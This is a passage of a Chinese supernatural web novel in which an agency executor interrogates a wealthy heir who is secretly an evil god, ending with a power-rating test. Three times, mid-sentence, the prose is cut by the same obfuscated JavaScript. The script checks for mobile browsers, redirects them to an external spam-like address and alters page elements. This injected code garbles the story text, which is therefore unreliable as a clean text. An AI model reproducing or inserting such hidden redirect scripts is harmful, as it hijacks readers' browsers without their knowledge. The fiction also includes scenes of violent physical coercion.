他神情凝重地缓慢举起手,想要开口稳住挟持者,但刚有动作狼首就蓦然一声暴喝,双手发力猛地将陆颉拖拽向后。黑发青年闷哼一声,疼得满头冷汗,根本站都已经站不稳,却只能被迫维持着极其难受的姿态,伤口在压迫下涌出更多的鲜血。 那张清冷秀丽的脸庞上满是惊惶无措却又强自镇定的神情,因为疼痛而无意识淌下的泪水划过脸颊,在半明半昧的光线下显得脆弱至极。 近乎失焦的深红瞳孔虚虚落在半空,于茫茫人群中对上路九观的眼睛,忽然泛起一瞬的光亮。 路九观看到了那对眼睛里无法掩藏的,对死亡的恐惧和对生的渴望。 ——是陷入绝境命悬一线时,向自己投来的充满希冀的哀求目光。 他看不出一点伪装。 路九观将手枪倒挂在指间,表示自己没有敌意:“你别冲动,我可以让你走,只要你不伤及无辜。” 狼首冷笑一声:“他可不无辜,世光科技集团小少爷的人头……比人造恶种要值钱得多。” 路九观脸色微变,眼底闪过一瞬的阴翳与狠辣,一言不发盯住了挟持着陆颉的黑衣杀手。 如果这次袭击为了人造恶种是假,真实目的却是陆颉的话,那谈判不会有任何作用——组织的杀手都是被精心培养的死士,绝不会背叛。 要破解眼下的困局,只能将挟持者一举击杀。 他垂下双手,手枪在指尖消失。 他需要一种更适合在瞬时击杀目标的异能。 空气中,异能发动时细微的气息变化一闪而逝,几乎无人可以发觉。 “……你想要什么?” 但就在路九观决定出手的前一刻,虚弱无力的声音却低低响起,被挟持的黑发青年艰难仰着脸,黯淡的猩红眼睛一片空洞,但依旧一字一句试图开口。 “这里是……世光大厦,执行部已经,包围……了你……” 路九观愕然散去异能,不可置信地看着陆颉,心想这个小少爷是疯了吗?他说这种话究竟是想自救还是要激怒对方找死? 关键时刻究竟在捣乱什么! 他不敢贸然制止陆颉,也错过了那一瞬的出手时机,只能眼睁睁地看着陆颉继续柔弱又天真地劝说着对方。 “你……你在这里……是走不掉的。放开我……我们可以——” “闭嘴!” “唔!” 伤口被用力按住,黑发青年被迫消音,那一刻他的目光几近完全涣散,脖颈死死向后扬起,脆弱的咽喉部位已经被生生掐出了一圈紫红淤痕,在雪白的颈项间看起来尤为触目惊心。 但完全失去抵抗力气陷入半昏迷状态的小少爷,至少终于不会自己作死了。 “路大,世光科技集团冀董事长找您。” 身后有下属低声请示,路九观伸手接过,短短数十秒后就一言不发挂了电话,神色越发沉冷。 “解除武装,后退!” 他干脆利落地下达了命令,自己率先后退一步,接着身后下属们纷纷解除异能,最后明黄色的警戒线也被取下,执行部做出最终的退让。 组织的杀手们同时迅速动作起来,分出几人抓住倒在一边的经理,动作极快地退入大敞的铁门,而狼首依旧扣着陆颉咽喉,在所有人最后面朝路九观,一步步倒退着后撤。 路九观紧紧盯着他的每一个动作,缓慢向前跟上,他们一进一退,直到狼首退至铁门另一侧的垃圾转运站,那里面赫然停着一架小型飞行器! 来不及思考组织究竟是怎么在世光大厦严密至极的防卫下将这样一个交通工具运输进来,甚至停留在集团深处。路九观紧紧盯住面前一行人,看着杀手们将经理拖上飞行器,狼首谨慎地拽着陆颉踏上最后的台阶。 嗡—— 飞行器充能完毕,开始离地。 双方维持着微妙的平衡互相对峙,被挟持的陆颉反倒像是成了可有可无的附带品,路九观绷紧了浑身肌肉,在飞行器缓慢升高,即将进入拉升前的刹那,两人几乎在同时动作—— 陆颉被蓦地发力推下,身不由己地跌落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396458|184295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,路九观冲上前,伸手想要接住他,而飞行器骤然提速拉升的那一刻,半空中轰然爆发出凄厉的嘶鸣! 接下来的一切都发生在一刹那。 从尚未完全闭合的飞行器大门中,挣脱禁锢的经理忽然发狂般跳下,那具身体在降落的短短数秒内急速畸变,化作狰狞扭曲的恶种,朝在场的所有人发出尖利咆哮。 “吼——” “吼!!!” S级的威压转瞬而至,路九观愕然抬首,忽然反应过来。 这个人造恶种的力量,就是在刚刚的刹那间突破的—— 这就是噬光所说的能够自主提升力量的人造恶种! “S级——” “警戒线!” 路九观维持着飞扑上前接住陆颉的冲势,目光骤然凝固,大声高喊,而就在他指尖堪堪触及陆颉衣角的同时,在高空咆哮的恶种调转方向,以所有人都来不及反应的速度冲向了路九观毫无防备的后心! “路部长!” “路大小心!!” 但路九观要接住几乎陷入昏迷的陆颉,他挡不住这道攻击! “……路九观。” 千钧一发之际,虚弱无力的,低低的轻喃在路九观耳旁响起。 始终处于半昏迷状态的陆颉突然恢复清醒,在这最危险复杂的局面里做出了一个谁也想不到的举动。 他下意识偏过身体,与路九观伸出的手差之毫厘错过,在飞扑而下的恶种面前挡在路九观身前,抬手想要阻拦—— 苍白虚弱,奄奄一息的,如同易碎品般美丽柔弱的黑发青年,迎向了狰狞可怖的恶种。 “吼!!!!!” 震耳欲聋的怒吼声散去后,众人预想中的血腥画面却并没有出现。 陆颉昏迷在路九观怀中,脸色惨白呼吸微弱,但毫无疑问仍有着生命体征,也没有出现任何近距离接触恶种后的异化现象。 而原本狰狞可怖的S级恶种却静止在半空,自它与陆颉相接触的那根触须开始,全身都开始缓慢地消散。 强烈的异能波动回荡在半空,呈现出在场所有人都非常熟悉的,初次觉醒异能无法自如控制时的奇妙景象。 莹亮的光点雀跃地环绕在昏睡中的陆颉周围,如同万千只翩跹的蝴蝶,照亮了这一片被望天树遮盖的丛林。 四周围的呼吸声都在此刻变得小心翼翼起来。 因为在众人眼中,那是一幕极为纯净美好,宛如童话般的画面。 染血的,美丽而无私的,脆弱且圣洁的青年,就像是为了抵抗黑暗甘愿牺牲自我的…… 【警告!】 而在所有人都无法看到的地方,真言之书自行翻开,属于陆颉个人信息的那一页忽然闪烁起刺目的红光。 【警告!灵魂受损度10%!】 【警告!灵魂受损度10%!】 【警告!灵魂受损度10%!】 没有被理会之后,警告声偃旗息鼓,但随后扉页开始剧烈震动,页面正中的那三行字齐齐大亮,下一刻密密麻麻地填满了扉页的每一个角落! 【救世主是邪神永恒的敌人】 【一个必将死在另一个手中】 【邪神与救世主无法共存】 【邪神与救世主无法共存邪神与救世主无法共存邪神与救世主无法共存邪神与救世主无法共存邪神与救世主无法共存邪神与救世主无法共存邪神与救世主无法共存邪神与救世主无法共存邪神与救世主无法共存】 …… …… 【邪神与救世主无法共存】 10. 感官敏感 “主人!主人!恭喜您吸收了一个精神谱系的高位恶种!” “您的天赋力量开始恢复了!” 真言之书内,猩红眼球挥舞着触手快乐摇摆,喜滋滋地向陆颉分享着好消息。而不用可爱的小眷属汇报,陆颉也已经感受到了自己状态的变化。 暖洋洋的,充实饱满的气息将他包裹,他感到从未有过的放松和舒适,那种从灵魂深处散发出的虚弱和疲惫感似乎也消散不少,久违的松快感觉让陆颉喟叹一声。 他翻开真言之书。 【姓名:陆颉】 【身份:邪神(???)】 【状态:记忆缺失,力量残缺,灵魂受损10%,???】 新出现的状态标签“灵魂受损10%”,以及红红所说的天赋能力。 【天赋能力:】 1、恶念吞噬:四大谱系恶种均可被吞噬,化为自己的力量或用来修复身体。 2、恶念伪装:可以伪装成任何一个被吞噬过的恶种的气息。 第一个是他本来就有的异能吞噬,是他能够轻易驱使和杀死恶种的凭依,但原来并无法被加以利用。 第二个则是新增加的能力。 陆颉若有所思。 这样看来,天赋能力其实很有用。 尤其是吞噬恶种后能用来修复身体这一点,意味着曾经自己在受伤后恢复过程里的消耗问题有了解决方法。 他决定找机会试一试。 至于所谓的“灵魂受损”。 陆颉想到了自己在审判庭内遭遇的那一次剧烈的,如同灵魂被撕裂般的痛楚。 是从那个时候开始? 离开审判庭后,虚弱与疲惫感就不曾消失,他本以为是自己又发病了,但现在看来,可能他的病就是灵魂受损在身体上的反应。 但为什么会在吞噬掉被重瞳花寄生的人造恶种后突然加重? ——是因为人造恶种? 绕了一圈,问题似乎又回到了这个突如其来出现的,古怪的人造恶种。 陆颉合上真言之书,暂且放下这个问题,转而摸了摸猩红眼球光溜溜的脑袋。 “外面现在怎么样了?” 小眼球愤愤开口:“您吸收恶种后需要时间消化力量,所以一直在昏睡,但救世主直接把您带走了!” “主人您现在在异管局总部的特殊病院!” 特殊病院。 陆颉眨眨眼睛,嘴角勾起一抹笃定的笑意。 这家位于异管局内部的医院极其神秘,连内部员工受伤都很少会被安排进入,因此他推测这里与科学部的某些不能公开的秘密实验有关。 现在看来,这里就是最有可能藏着猩红眼球本体的地方。 因此他赌的,就是自己第一次展现出异能后,没有人能一眼认定这是吞噬异能,而在世光科技集团的影响下,异管局就算怀疑,也不敢真的将他如何。 ——最好的选择,就是先将他带入异管局自己的地盘,获取他的身体数据,徐徐图之。 “哼,红红可是看见了!他们借着给您输血的理由,偷偷给您抽了好多好多血!不怀好意的人类!” “@¥#T#¥……&!”小眼球飙出一连串恶种脏话,愤愤不平地说道,“救世主真是个废物!什么都不知道!也不知道拦一拦!” 果然。 只不过—— “他是救世主,我是邪神。”陆颉无奈,“他凭什么帮我?” “但救世主不知道他是救世主,也不知道主人您是邪神呀?”小眼球一脸天真无邪,“红红还偷听到——他们人类在怀疑主人您是救世主呢!” ……什么? 这句话对他的冲击有些大,陆颉在晃神中迷惑了一会儿,再回神时真言之书已经紧紧闭合,怂得很到位的猩红眼球把自己结结实实藏好,隔着真言之书蹭了蹭陆颉指尖,小小声地说道。 “主人……救世主看过来啦……红红先走啦……” 陆颉:“……” 某道熟悉的气息确实已经在身边停留了很久,陆颉索性睁开眼睛。 路九观目不转睛地盯着他。 “……你醒了。” 路九观的语气里听不出什么情绪,但看过来的眼神里却透着意味不明的评估和打量。 “初次觉醒异能会给身体带来很大变化,你现在感觉如何?” 陆颉当然没有任何感觉。 “还是觉得很虚弱。”但他开口时气息很自然变得不稳,一副重伤未愈的无力模样,“我觉醒异能了?发生了什么?” 他的神情里带着恰到好处的惊喜和困惑,苍白的脸色在日光下几近透明,眼尾及颧骨四周还残留着生理性淌下的眼泪,显得那对形状漂亮的凤眼内一片水润,整个人透着种不自知的脆弱无依。 路九观的表情明显一顿。 “你们那个经理的家中搜到了几支被使用过的注射器。” 再开口时,路九观的语气缓和了些,只是眼神中积聚的疑虑仍没有散去,也没有回答陆颉的问题。 “其中一支与两天前袭击你们公司的人造恶种残留的恶念一模一样。” “经过分析,经理被改造的方式是接受恶种的寄生,那天被我杀死的,就是脱离他身体后的A级恶种。但在此之前,他是以人类姿态与恶种共存。” 那对黝黑的眼睛紧紧盯住他,慢慢地开口。 “你是在场所有人里唯一保持清醒的,你什么都没有看到?” 陆颉:“……” 他真的没想到经理竟然连这么重要的证据都没有销毁。 不清楚异管局究竟掌握了多少信息,陆颉心思急转,面露疑惑。 “经理……怎么了?” “经理是我们近日来追查的人造恶种中的一员,已经连续两次制造袭击事件。”路九观冷冷瞥他一眼,“他的目标是你。” 陆颉微微睁大眼睛,做出一副惊讶神色:“他怎么会知道——” “你确定还要在我面前继续演下去吗?小少爷?” 但他的话还没说完就被打断,路九观面无表情地抬手,将一份明显是从监控中截下的影像复印件拍在陆颉眼前。 陆颉低头看去。 影像中是一条空空荡荡的走廊,他与经理相对而立,摊开的掌心里露出一枚银白色衔尾蛇胸针。 ——那是世光科技集团唯一的嫡系继承人,对外公开的身份象征。 陆颉神色如常地抬头。 “路九观,你应该知道我想做什么,为什么不闭嘴?” 这份影像当然是组织伪造的。 因为这正是他要求组织为他准备的……让他的异能能够光明正大出现的铺垫,之一。 “经理知道我的身份后升起杀心,这是很合适的理由。” 他厌倦般地偏过头,神情里若有似无的茫然和脆弱在此刻消失殆尽,语气变得散漫而讥诮,那种从骨子里透出的冷漠和尖锐毫无掩饰地展露。 “至于人造恶种?我想这是你们执行部该考虑的问题吧?比起管我的闲事,似乎有更重要的事摆在你们的面前。” “短短几天,任由恶种袭击事件在世光大厦内连续发生,甚至引来了组织——” 黑发青年拖长了调子,语气轻慢而玩味地开口。 “想好怎么面对集团的问责了吗?路部长?” 病房内,森然杀意骤然迸发。 “同时将集团、异管局和组织拉进你的棋盘,想让三者彼此牵制,而你成为一个完美的受害者?可真是好厉害的手段……好大的胆子。” 路九观慢慢地开口,语气里甚至还带着隐隐的欣赏,但那对黝黑的眸子死死盯住他,凶狠与暴虐在其中闪烁不定,就像是随时会露出獠牙撕咬的掠食者。 陆颉清清楚楚地看到了路九观眼中流露出的,那种源自天性的暴戾和凶悍。 是想要将他生吞活剥,嚼碎了咽下肚的血腥欲望。 恐怖的杀意让空气都变得粘稠起来,但他只是倚在病床上,泰然自若地回望向路九观,脸上微笑分毫未变,哪里还有一分虚弱和无力的影子。 两人一坐一立,某种无形的对抗在彼此间反复拉扯,令他们身周的空气都隐隐躁动起来,一时间仿佛所有声音都离他们远去。 极致的安静里,路九观忽然哼笑一声。 “这一次是经理主动约你见面,而你们已经在一起共事近两个月。陆颉,你这样聪明的人……不可能在第一次袭击后看不出经理有问题。” 最后半句话的咬字又轻又缓,带着微微的震动,像是含着某种深意。 如同掠食者发现了猎物的虚张声势,开始步步紧逼。 但那种恐怖到极点的杀意,也悄无声息散去。 “你看出来了,但你偏偏对所有人隐瞒,甚至有意放任,或者说是诱导经理进行下一次行动……你想得到什么?” 路九观靠近病床,居高临下看向陆颉,似笑非笑地开口。 “你想要得到的……是无法依仗集团,必须瞒着集团的东西……是不被允许拥有,但你却急需获得的,你为此甘愿冒着巨大的风险,甚至不惜与豺狼合作——” 陆颉眼中闪过一抹极其隐晦的赞赏。 只凭借他所表露出的隐晦意图以及组织的安排,路九观的推测堪称完美。 可惜那并非事实真相。 “是吗?” 他仰起脸,眼尾微微上挑,露出一个放肆而挑衅的笑。 “继续说。” 路九观如他所愿般开口,语气却骤然变得一片冷然。 “陆颉,你早就知道人造恶种,你很清楚他们背后有一股力量。你想要的,是利用人造恶种的方式——” “觉醒异能。” 那四个字又沉又冷,带着股令人不寒而栗的危险气息,陆颉下意识觉得不好,但仍未完全恢复的身体却已经来不及作出反应—— 下一刻,路九观的身影忽然在陆颉眼中迅速放大,面无表情的执行官迅速俯身,半跪上病床用膝盖强行顶开他的双腿,五指如铁钳般死死锁住他的咽喉,另一只手轻而易举抓住他试图反抗的双手扣在头顶,毫不犹豫地施力! “因为你很清楚自己在世光科技是什么处境……对吗,尊贵的小少爷?” 滚烫的吐息贴近陆颉耳侧,暗哑的声音残忍地一字一句落下,剥开高位者光鲜亮丽的表皮,露出不堪的内里。 “在你被挟持的时候,冀云中曾打来一个电话,猜猜他唯一的要求是什么?” 在陆颉微怔的目光里,路九观一字一顿开口。 “他要求抓住噬光。” “从头到尾,他根本没有问过你一句。” “……” 路九观的推测正是最符合预期的方向,陆颉神情不变,但控制着身体在刹那间蓦地紧绷,果不其然看到黝黑的眼睛里浮现出越发笃信的神色。 以及一种他看不明白的,混合着失望、愤怒,后怕与庆幸的复杂情绪。 “既然你对我说这些,那就是不打算告诉他。你想要什么?” 陆颉低声开口,顺着路九观的思路将这件事认下来。他用自己习以为常的方式进行交涉,脑子里已经转过了好几种可能的交易方式。 权力,金钱,美色。 不外乎就是这些。 他扭动手腕试图挣脱钳制,路九观卡住他咽喉的虎口微微松开,但握住手腕的力道却变得更大,同时一种莫名疼痛难耐的感觉从腕骨爆发,直达神经末梢,让陆颉心底忽然生出一种古怪的感觉。 这种程度的力道对他而言根本不算什么,怎么会突然—— 下一秒,他的瞳孔骤然一缩。 一股前所未有的剧烈刺激没顶而来,让他的大脑霎时一片空白! “我想要什么?陆颉,你觉得你能给我什么?你有那个资格和底气和我做交易吗?别太天真了!” 同一时间,路九观饱含怒气,或者可以说是恨铁不成钢的声音在耳畔响起。 “你想要力量,想要脱离家族的桎梏,但你不该选择以这样的方式——你知道人造恶种究竟是怎么回事吗?你知道经理随时都能够毫不费力地捏死你吗?你知不知道那些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396459|184295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戴着面具的杀手——他们究竟会给你带来什么!” “……” 路九观在说什么陆颉已经完全无暇分辨了,他现在正被极端敏锐的感官刺激折磨着——被粗粝指腹摩擦的咽喉,按在床头的手腕,被强行顶住的大腿内侧,甚至是路九观说话时擦过他耳廓的吐息…… 一切都被无限放大,仿佛有无数密密麻麻的针扎进肌肤里向深处钻入,那不仅仅是痛楚,因为陆颉对疼痛的阈值极高,但此时此刻他却已经完全无法忍受,浑身战栗着呜咽起来。 “听好了,身在集团你别无选择——但你现在靠自己的力量觉醒了异能,这就是你重新拥有选择的机会——你哼哼什么!” 而陆颉的异样甚至没有被发觉,路九观强硬地抬起他的下巴,冷冷地逼视着他通红的眼睛,一字一句说道。 “你今天尽快去做一个异能测定和评级,根据我的判断,你的异能很有可能……” “啊——唔……” 从咽喉粗暴擦过箍住下巴,这样一个放在平时陆颉眼睛都不会眨一下的动作,现在却直接让他生理性颤抖着呻吟出声,泪水不受控制地涌出,顺着苍白瘦削的脸颊滴落下来,滚烫的泪珠一下下砸进路九观掌心。 “……陆颉?你怎么了? ” 某位铁血强势的首席执行官终于发觉不对劲,声音一下子变了调,立刻收手站回到床边,原本阴沉的脸色在陆颉越发收不住的眼泪下一点点僵硬起来。 “你哭什么?说清楚哪里不舒服,是不是异能失控了?” 陆颉说不出话来,只是无声颤抖着流泪,被冷汗浸湿的黑发散开在额头两侧,猩红瞳孔内盈满了压抑和忍耐的水光,被松开的双手无力垂落在身侧,指尖止不住得发颤。 那是真正的,毫无任何演戏成分的痛苦模样。 “我要检查你的异能核心,有点痛,忍着。” 得不到回答的路九观轻啧一声,迅速做出了决定。 他再度俯身,强行掰开陆颉因为难受而蜷缩的身体,撕开碍事的病号服,一手按住因为暴露在空气中而受到刺激,迅速染上绯色的小腹,接着迅速遭致了陆颉本能的激烈反抗! “……别、碰!” 异能核心是何等重要的地方,更不用说陆颉现在还处于无法自控的状态里,他的异能敌意极浓地爆发出毫无掩饰的强烈波动,瞬间激发了路九观异能的攻击意图! 两种极强的异能扑向彼此,互不相让得正面相撞! “轰!” 震耳欲聋的爆鸣声里,病房触发自动防御机制,很快红光闪烁警报声呜呜呜呜响起。一片狼藉的病房内路九观愕然看向自己掌心,来自陆颉异能的冲击太过强大,几乎与自己不相上下,但更令人吃惊的却是他在短短一瞬的异能触碰中蓦然反应过来发现的真相。 陆颉表现出来的正是那一次精神检测仪的副作用,但却是极为罕见的,仅有1‰发生可能性的—— 感官敏感! 也就是说现在哪怕只是轻微的一个触碰,对陆颉来说都不亚于是一场酷刑—— 这个善于伪装的,聪明绝顶也大胆至极的黑发青年,根本不是因为软弱而哭泣,而是因为他路九观的所作所为,他的每一个动作都是一场痛苦至极不堪忍受的折磨! “副作用要持续整整24个小时。” 在路九观的沉默中,慢慢恢复过来的陆颉坐起身,发现自己那种极度敏感的状态正在褪去,他拢住自己被撕扯得已经没法穿的病号服,冷冷地开口。 “这段时间你大可以好好审问我,路大执行官。” “你……” 路九观难得词穷,看到陆颉的动作后迅速抬起手,似乎是想要扶下他,但很快又在陆颉的冷眼中讪讪放下,放缓了语调。 “那段监控我已经删除了,不会让世光科技发觉。我也不是要威胁你,只是想让你知道这件事的危险性……” 似乎是觉得再继续这个话题会更加尴尬,路九观偏过头,闷闷地开口:“你现在觉醒了异能,有什么问题可以尽管来找我——” “免了。” 陆颉想到刚刚自己那副模样就觉得心累,不想再和路九观纠缠,他做了个停止的手势,直截了当问道。 “我什么时候可以离开这里?” 路九观回答得很爽快:“在你的状态稳定前还要继续留在特殊病院。按照安排,一会儿要先去做异能测定和评级,再做一次体检来评估你的情况。” 都在意料之中。 眼下最重要的,还是先熬过这二十四小时的副作用。 陆颉合上眼睛向后靠在床背,没有掩饰声音里的疲惫:“我累了,请你离开吧。” 路九观没有动。 相反黑发的执行官脸色有些奇怪地上前一步,再度俯下身,试探着伸出手想要覆上陆颉的小腹,接着被不耐烦地一把抓住。 “路九观!” 陆颉这回是真的有些生气了。 “你真把这里当成执行部的审讯室了?刚刚手段还没上够?” 路九观欲言又止:“陆颉,你听我说,你觉不觉得自己——” “叩叩叩——砰!” “不准动!” 因为防御机制而被反锁的病房门被轰然撞开,姗姗来迟的病院保安终于全副武装赶到。 高频闪烁的红色警报灯光下,保安们与陆颉和路九观面面相觑,目光在场中不断游移,落在两人交握的手,凌乱的床铺,被暴力撕开的病号服,和衣服下露出的大片带着淤痕的肌肤,还有陆颉咽喉明显的掐痕和红肿的手腕…… 死一般的寂静中,有一个神情闲适的中年男人自病房外踏入,看到眼前这一幕时顿了顿,轻咳一声,语气调侃地开口。 “看来我来的不是时候?” 陆颉与路九观迅速分开。 他们朝来人看去,接着同步露出诧异神情。 “斯通董事长。”路九观微微颔首,礼貌克制地打了个招呼。 而陆颉在一怔之后迅速扬起乖巧的笑容,轻声说道。 “好久不见……斯通伯伯。” 11. 异能融合 历代斯通生物的董事长都叫做斯通。 如今的斯通掌权不过十年,是上一任董事长的亲兄弟,在对方离世后接任,是个看起来就威势极重的中年人。 传闻里,这一位斯通在还未掌权时就极不好相处,如今更甚。 但他看向陆颉的神情却很温和。 “是好久不见了,上一次见面还是四年前你的成人礼,一转眼这么大了。” 斯通环视四周一圈,语气变得感慨:“陆颉,你刚刚觉醒异能,心思还是要放在正事上面。路部长可是大忙人,不要耽误人家工作。” 路九观觉得这句话有些奇怪,皱了皱眉但没说话,陆颉则像是不好意思般低头笑了笑,接着又抬起头,显得有些犹豫:“您怎么会在这里?你们不是应该……” 他咽下了后半句话,但话里试探的意思却没有掩饰,斯通哈哈一笑,宽慰般拍了拍陆颉的肩。 “提前结束了,放心,你哥哥忙别的事去了,暂时不会回来。” “嗯。” 陆颉脸色苍白,一副大病初愈的虚弱模样,听到这话时他嘴角微小的笑意不变,姿态却不易察觉地一点点放松下来,这点微妙的情绪变化让斯通眼底的笑意加深,语气也越发柔和起来。 “我没记错的话你今年也该大学毕业了,以后有什么打算?要不要来斯通工作?” 病房内顿时一静。 “这不太合适吧……” 陆颉的语气里透出几分迟疑,眼中似乎划过转瞬即逝的犹豫,但随即像是想到了什么那样,脸上意动的神色霎时褪得干干净净,恢复成平静温和,面具般的浅笑。 “我毕竟属于世光科技,还是要听从哥哥的安排,您就别和我开玩笑了。” 他这一连串反应变化极快但瞒不过在场的其他两人,路九观心底的疑问越来越多,但斯通却似乎对陆颉的反应毫不意外,甚至露出了几分满意的神情。 “你还是这么听冀云中的话,真令人羡慕啊。我记得刚出来的时候你可没这么乖……” 斯通笑着打趣了一句,似乎心情极好,一手摸着自己腕间的檀木佛珠,拨弄着最中心的一颗精巧铃铛。 “真想问问他是怎么把你教得这么听话的。” “您夸奖了。” 陆颉神情不变,只是温温柔柔笑着,像是根本没听出斯通的话里有话。 但路九观却清清楚楚看到了陆颉在那一瞬间蓦然绷紧的后背和收紧到关节泛白的五指。他内心惊疑不定,不对劲的感觉叫嚣着填满了大脑,可眼前两人的一问一答气氛和谐又温馨,仿佛谁都没觉得有什么问题,只有他一人心底发寒,深感毛骨悚然。 斯通生物和世光科技,两个集团向来是彼此竞争又合作的关系,说不上关系多好,但也没有很差。 斯通和陆颉认识是情理之中,但对方的这种态度委实怪异至极,两人的对话全程说一半藏一半,显然都带着心照不宣的秘密和不为人知的目的,只是有一点路九观可以肯定。 斯通对待陆颉,绝不是对待亲近小辈的长者姿态,而是完全凭借自己意愿不顾陆颉想法和感受,是丝毫不在意陆颉处境艰难,是将陆颉过往绝不愉快的经历拿来谈笑的…… 是逗弄漂亮可爱小猫小狗,或者说更加高更加傲慢和不屑一顾的…… 是主人对待家臣。 路九观看向那个病床上轻声细语,姿态温顺回答却滴水不漏的黑发青年,没有错过温柔笑脸下那对始终平静无波的眼睛。 他忽然发现了为什么自己始终觉得陆颉身上……有一种隐隐的熟悉感。 因为这一双猩红色的眼睛。 陆颉的眼睛通常是很亮的,尽管大多数时间里都是清冷平静,甚至是漠然傲慢的,但那双瑰丽的红色眼睛深处,始终有一种名为野心的火焰在燃烧。 这个处境艰难,但却心智卓绝的黑发青年,身上有着一股让人见之难忘的韧性和狠劲。 不像是他所认识的另一双眼睛,总是晦涩不明,嬉笑怒骂永远隔着一层面具,从不曾真正将情绪外露。 但二者之间,却又时不时会给人一种极其相似的感觉。 疯狂的,孤注一掷的,以自身为筹码的豪赌。 无论何时何地,冷静专注,极度功利的行动。 还有同样的,对自己身体所受到伤害和痛苦的漠视。 有时候路九观甚至会在恍惚间将他们认作一人,但随后又为自己的错觉感到不可思议。 明明是从身形长相,到行事手段,再到性格谈吐都完全不同的两个人。 但为什么,他就是觉得…… 有的时候,他仿佛觉得,如果他们是同一个人—— “路部长,刚刚发生了什么?我看到病房的防御机制被启动了。” 带着关切的声音响起,让路九观骤然回神,他礼貌地点点头,用一句话轻飘飘地总结了两人间的纠葛。 “一点误会,已经解释清楚了。” 他看得出来陆颉对斯通有些隐隐的抗拒和戒备,上前一步隔开斯通的视线,露出彬彬有礼的微笑,征询般看向对方:“斯通董事长,陆颉目前的状态不太好,您看是不是……” “精神检测仪的副作用。”谁知斯通却一副早有预料的神情,扬起手中的报告递给路九观,体贴地补充道,“我来的路上看到了,顺便拿过来。” 路九观一目十行看着报告上的文字,耳边传来斯通不急不徐的声音。 “这上面提出了两种解决方案,第一种方案是注射缓释剂,在副作用维持的24小时内消除影响,但会伴随着强烈的痛苦感。第二种方案……我看你们已经做过尝试了?” 路九观微微一愣,随即反应过来:“您是说刚刚的……” “没错,副作用已经减轻到几乎没有了,不是吗?” 斯通颔首微笑,赞赏地看了眼病床上的黑发青年,用一种不容置疑的语气说道。 “既然觉醒了异能,就需要尽快进入联合学院,路部长觉得呢?” 路九观为斯通不问陆颉就径直做出安排的做法微微皱眉,没有回应,只是说道:“这个等异能测定和评级结果出来后再考虑,既然副作用减轻,那我们可以尽快动身了。” 他们两人需要在接下来的24小时内保持接触,维持住对副作用的压制。 这本来没什么,但路九观今夜另有安排。 他要去赴一场约。 “那我就不打扰你们了。”斯通向两人辞别,目光落在陆颉身上,带着沉沉的深意,“陆颉,欢迎你来斯通生物做客。” ……什么? 随着斯通的离开,病院的保安们也一同撤出,恢复安静的病房内,陆颉脸色狐疑地看了看神情古怪的路九观,一把拿过报告,看到建议一栏中写着的解决方案。 方案一:注射缓释剂,于24小时内消除副作用,但伴随强烈痛楚。 方案二:以异能核心为媒介,通过□□交换完成异能交融,以另一方的异能进行临时标记并安抚,副作用解除效果极快,但需持续保持身体接触。 注1:失去身体接触超过1个小时,压制作用就会消失。 “……” “!!!” 陆颉终于意识到斯通从一开始就露出的古怪态度是什么意思,脸色不禁一阵发青,他在竭力克制下胸膛依旧急剧起伏,眼中第一次流露出浓烈的杀意。 “可能是刚刚我们异能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396460|184295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的交汇,巧合下形成了临时的异能融合,这种情况二十四小时后就会解除……” 正面承受杀意的路九观干咳一声,拎着刚刚从衣柜里拿出的全新病号服,没话找话地说道。 “是不是……应该进行身体接触了?你的副作用……” “……” 不用路九观提醒,感受到熟悉的刺痛感的陆颉咬咬牙,劈手夺过路九观手中的病号服,狠狠拍开那只手,恨不得此刻巴掌是扇在了那张令他深恶痛绝的脸上。 救、世、主。 果然邪神和救世主不可共存! * “异能强度测定中……” “测定完成。” “您的评级为S级。” 特殊病院异能检测科,陆颉安然走出检测仪器,神情淡淡地看着早有预料的评级结果,没什么反应。 异能评级不代表什么,对他来说异能类型认定和谱系划分才至关重要——吞噬异能在历史中曾经出现过多次,但每一次毫无例外都象征着恐怖、血腥和死亡,是被异管局定义为超高危级别,需要严密监控的能力。 即便是在噬光的身份下,除了极少数知情者,他也从未让任何人见过自己使用异能。 噬光的身份早就在异管局的通缉名单上,更和组织牢牢绑定在一起。如果要达成自己的目的,更快恢复邪神的力量,他必须保证陆颉这个身份能够自由行动不受限制。 一旦被发现是吞噬异能…… “现在开始谱系划分……” 来了! 陆颉姿态不变,实则浑身都紧绷起来,不动声色地观察着仪器旁路九观的神情和动作。 “谱系划分失败,重新开始划分……” 